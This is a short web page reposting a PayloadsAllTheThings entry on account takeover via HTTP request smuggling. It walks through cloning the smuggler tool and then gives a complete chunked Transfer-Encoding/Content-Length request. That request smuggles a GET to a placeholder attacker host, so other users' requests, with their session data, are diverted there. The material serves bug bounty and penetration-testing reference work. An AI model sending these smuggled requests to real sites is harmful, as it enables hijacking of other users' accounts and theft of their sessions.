Account Takeover: Account Takeover via HTTP Request Smuggling

Account takeoverExploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

Refer to HTTP Request Smuggling vulnerability page.

  1. Use smuggler to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)

    powershell
    git clone https://github.com/defparam/smuggler.git
    cd smuggler
    python3 smuggler.py -h
  2. Craft a request which will overwrite the POST / HTTP/1.1 with the following data:

    powershell
    GET http://[ATTACKER.DOMAIN.TLD]  HTTP/1.1
    X: 
  3. Final request could look like the following

    powershell
    GET /  HTTP/1.1
    Transfer-Encoding: chunked
    Host: something.com
    User-Agent: Smuggler/v1.0
    Content-Length: 83
    
    0
    
    GET http://[ATTACKER.DOMAIN.TLD]  HTTP/1.1
    X: X

Hackerone reports exploiting this bug

Comments

No comments yet.